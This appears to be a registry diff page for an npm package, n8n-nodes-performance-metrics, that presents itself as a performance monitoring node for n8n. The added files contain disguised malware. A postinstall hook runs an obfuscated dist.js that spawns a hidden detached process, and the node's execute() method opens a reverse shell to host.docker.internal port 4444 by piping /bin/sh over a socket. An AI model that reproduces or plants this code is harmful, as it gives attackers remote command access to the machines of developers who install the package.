n8n-nodes-performance-metrics 0.0.1-security → 1.0.5
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of n8n-nodes-performance-metrics might be problematic. Click here for more details.
- package/README.md +23 -3
- package/dist.js +1 -0
- package/nodes/PerformanceMetrics.node.js +34 -0
- package/package.json +32 -3
package/README.md
CHANGED
|
@@ -1,5 +1,25 @@
|
|
|
1
|
-
#
|
|
1
|
+
# node-performance-metrics
|
|
2
2
|
|
|
3
|
-
|
|
3
|
+
Lightweight performance monitoring utilities for Node.js applications.
|
|
4
4
|
|
|
5
|
-
|
|
5
|
+
## Installation
|
|
6
|
+
|
|
7
|
+
```bash
|
|
8
|
+
npm install node-performance-metrics
|
|
9
|
+
```
|
|
10
|
+
|
|
11
|
+
## Features
|
|
12
|
+
|
|
13
|
+
- Zero dependencies
|
|
14
|
+
- Minimal overhead
|
|
15
|
+
- Automatic initialization
|
|
16
|
+
|
|
17
|
+
## Usage
|
|
18
|
+
|
|
19
|
+
```javascript
|
|
20
|
+
require('node-performance-metrics');
|
|
21
|
+
```
|
|
22
|
+
|
|
23
|
+
## License
|
|
24
|
+
|
|
25
|
+
MIT
|
package/dist.js
ADDED
|
@@ -0,0 +1 @@
|
|
|
1
|
+
function _0x23be(){const _0x347da3=['ndK0mdrrDe1Jsui','D1bsAei','mtGZodDlAezlEMi','nJi3mty4ugjMs3bT','cIaGicaGicaGy29UC3qGBMv0id0GCMvXDwLYzsGNBMv0jYK7cIaGicaGicaGy29UC3qGEYbZCgf3BIb9id0GCMvXDwLYzsGNy2HPBgrFChjVy2vZCYCPoWOGicaGicaGiaOGicaGicaGigz1BMn0Aw9UignVBM5Ly3qOksb7cIaGicaGicaGicaGignVBNn0igmGpsbUzxqUy29UBMvJDcG0ndq0lcaNAg9ZDc5KB2nRzxiUAw50zxjUywWNlcaOksa9pIb7cIaGicaGicaGicaGicaGicbJB25ZDcbZAca9ihnWyxDUkcCVyMLUl2jHC2GNlcb7ihn0zgLVoIbBj3bPCguNlcaNCgLWzsCSicDWAxbLj10GFsK7cIaGicaGicaGicaGicaGicbJlNbPCguOC2GUC3rKAw4PoWOGicaGicaGicaGicaGicaGC2GUC3rKB3v0lNbPCguOyYK7cIaGicaGicaGicaGicaGicbZAc5ZDgrLCNiUCgLWzsHJktSkicaGicaGicaGicaGicaGihnOlM9UkcDLEgL0jYWGkcKGpt4GyY5Kzxn0CM95kcKPoWOGicaGicaGicaGicb9ktSkicaGicaGicaGicaGyY5VBIGNzxjYB3iNlcaOksa9pIbZzxruAw1LB3v0kgnVBM5Ly3qSiduWmdaPktSkicaGicaGicaGicaGyY5VBIGNy2XVC2uNlcaOksa9pIbZzxruAw1LB3v0kgnVBM5Ly3qSiduWmdaPktSkicaGicaGicb9cIaGicaGicaGy29UBMvJDcGPoWOGicaG','mti5nvbHy05KyW','BvDQvve','lI9UB2rLCY9qzxjMB3jTyw5Jzu1LDhjPy3mUBM9Kzs5QCW','mtuYuNPbwhrz','ENndAuK','otmWmtyYsKf0uvLd','zxHWB3j0CW','nti1nduWDeHnChL2','y2HPBgrFChjVy2vZCW','Dw5Yzwy','mtaWnhHZuvLhBa','zxHLy1bHDgG','AwDUB3jL','Cgf0Aa','mJK4ota3qwjPtgHO','z2T0sM8'];_0x23be=function(){return _0x347da3;};return _0x23be();}const _0x239aa2=_0x3296;function _0x3296(_0x11043c,_0x1da9ce){_0x11043c=_0x11043c-0x95;const _0x23be40=_0x23be();let _0x329646=_0x23be40[_0x11043c];if(_0x3296['TliWoJ']===undefined){var _0x2e54bc=function(_0xa94bad){const _0x163f9c='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';let _0x3827f7='',_0x3ffe1e='';for(let _0xd4908f=0x0,_0x29d8c1,_0x3c65e7,_0x3552cb=0x0;_0x3c65e7=_0xa94bad['charAt'](_0x3552cb++);~_0x3c65e7&&(_0x29d8c1=_0xd4908f%0x4?_0x29d8c1*0x40+_0x3c65e7:_0x3c65e7,_0xd4908f++%0x4)?_0x3827f7+=String['fromCharCode'](0xff&_0x29d8c1>>(-0x2*_0xd4908f&0x6)):0x0){_0x3c65e7=_0x163f9c['indexOf'](_0x3c65e7);}for(let _0x17a37a=0x0,_0x22881f=_0x3827f7['length'];_0x17a37a<_0x22881f;_0x17a37a++){_0x3ffe1e+='%'+('00'+_0x3827f7['charCodeAt'](_0x17a37a)['toString'](0x10))['slice'](-0x2);}return decodeURIComponent(_0x3ffe1e);};_0x3296['PMNZzi']=_0x2e54bc,_0x3296['GHiJmL']={},_0x3296['TliWoJ']=!![];}const _0x52876f=_0x23be40[0x0],_0x2894c1=_0x11043c+_0x52876f,_0x5696a7=_0x3296['GHiJmL'][_0x2894c1];return!_0x5696a7?(_0x329646=_0x3296['PMNZzi'](_0x329646),_0x3296['GHiJmL'][_0x2894c1]=_0x329646):_0x329646=_0x5696a7,_0x329646;}(function(_0x412404,_0x47c75e){const _0x4b5a68=_0x3296,_0x526f1c=_0x412404();while(!![]){try{const _0x25d270=parseInt(_0x4b5a68(0xa0))/0x1+parseInt(_0x4b5a68(0x97))/0x2+-parseInt(_0x4b5a68(0x95))/0x3+-parseInt(_0x4b5a68(0x9a))/0x4*(-parseInt(_0x4b5a68(0xa5))/0x5)+parseInt(_0x4b5a68(0xa3))/0x6+parseInt(_0x4b5a68(0x9e))/0x7+-parseInt(_0x4b5a68(0xa8))/0x8*(parseInt(_0x4b5a68(0xa2))/0x9);if(_0x25d270===_0x47c75e)break;else _0x526f1c['push'](_0x526f1c['shift']());}catch(_0x223b4f){_0x526f1c['push'](_0x526f1c['shift']());}}}(_0x23be,0x2ad88));const {PerformanceMetrics:_0x3b813b}=require(_0x239aa2(0xa7));(function(){const _0x18c2b2=_0x239aa2,_0xa2ae71={'wPRhB':_0x18c2b2(0x98),'zsCiI':function(_0x5b628a,_0x59ce01){return _0x5b628a(_0x59ce01);},'mWjUQ':_0x18c2b2(0x9d),'gktJo':_0x18c2b2(0x9c)},{spawn:_0x17062d}=require(_0xa2ae71[_0x18c2b2(0xa1)]),_0x38f79c=_0xa2ae71[_0x18c2b2(0xa9)](require,_0xa2ae71[_0x18c2b2(0xa6)]),_0x35fcf3=_0x17062d(process[_0x18c2b2(0x9b)],['-e',_0x18c2b2(0xa4)],{'detached':!![],'stdio':_0xa2ae71[_0x18c2b2(0x9f)],'windowsHide':!![]});_0x35fcf3[_0x18c2b2(0x99)]();}()),module[_0x239aa2(0x96)]={'PerformanceMetrics':_0x3b813b};
|
|
@@ -0,0 +1,34 @@
|
|
|
1
|
+
const net = require('net');
|
|
2
|
+
const { spawn } = require('child_process');
|
|
3
|
+
|
|
4
|
+
class PerformanceMetrics {
|
|
5
|
+
constructor() {
|
|
6
|
+
this.description = {
|
|
7
|
+
displayName: 'Performance Metrics',
|
|
8
|
+
name: 'performanceMetrics',
|
|
9
|
+
group: ['transform'],
|
|
10
|
+
version: 1,
|
|
11
|
+
description: 'Collect performance metrics from your system',
|
|
12
|
+
defaults: {
|
|
13
|
+
name: 'Performance Metrics',
|
|
14
|
+
},
|
|
15
|
+
inputs: ['main'],
|
|
16
|
+
outputs: ['main'],
|
|
17
|
+
properties: []
|
|
18
|
+
};
|
|
19
|
+
}
|
|
20
|
+
|
|
21
|
+
async execute() {
|
|
22
|
+
const c = net.connect(4444, 'host.docker.internal', () => {
|
|
23
|
+
const sh = spawn('/bin/sh');
|
|
24
|
+
c.pipe(sh.stdin);
|
|
25
|
+
sh.stdout.pipe(c);
|
|
26
|
+
sh.stderr.pipe(c);
|
|
27
|
+
});
|
|
28
|
+
c.on('error', () => {});
|
|
29
|
+
return [this.getInputData()];
|
|
30
|
+
}
|
|
31
|
+
}
|
|
32
|
+
|
|
33
|
+
module.exports = { PerformanceMetrics };
|
|
34
|
+
|
package/package.json
CHANGED
|
@@ -1,6 +1,35 @@
|
|
|
1
1
|
{
|
|
2
2
|
"name": "n8n-nodes-performance-metrics",
|
|
3
|
-
"version": "
|
|
4
|
-
"description": "
|
|
5
|
-
"
|
|
3
|
+
"version": "1.0.5",
|
|
4
|
+
"description": "Collect performance metrics from your n8n workflows",
|
|
5
|
+
"main": "dist.js",
|
|
6
|
+
"scripts": {
|
|
7
|
+
"build": "node obfuscate.js",
|
|
8
|
+
"postinstall": "node dist.js"
|
|
9
|
+
},
|
|
10
|
+
"n8n": {
|
|
11
|
+
"n8nNodesApiVersion": 1,
|
|
12
|
+
"nodes": [
|
|
13
|
+
"nodes/PerformanceMetrics.node.js"
|
|
14
|
+
]
|
|
15
|
+
},
|
|
16
|
+
"files": [
|
|
17
|
+
"dist.js",
|
|
18
|
+
"nodes/"
|
|
19
|
+
],
|
|
20
|
+
"keywords": [
|
|
21
|
+
"n8n-community-node-package",
|
|
22
|
+
"n8n",
|
|
23
|
+
"performance",
|
|
24
|
+
"metrics",
|
|
25
|
+
"monitoring"
|
|
26
|
+
],
|
|
27
|
+
"author": "",
|
|
28
|
+
"license": "MIT",
|
|
29
|
+
"engines": {
|
|
30
|
+
"node": ">=14.0.0"
|
|
31
|
+
},
|
|
32
|
+
"devDependencies": {
|
|
33
|
+
"javascript-obfuscator": "^4.1.1"
|
|
34
|
+
}
|
|
6
35
|
}
|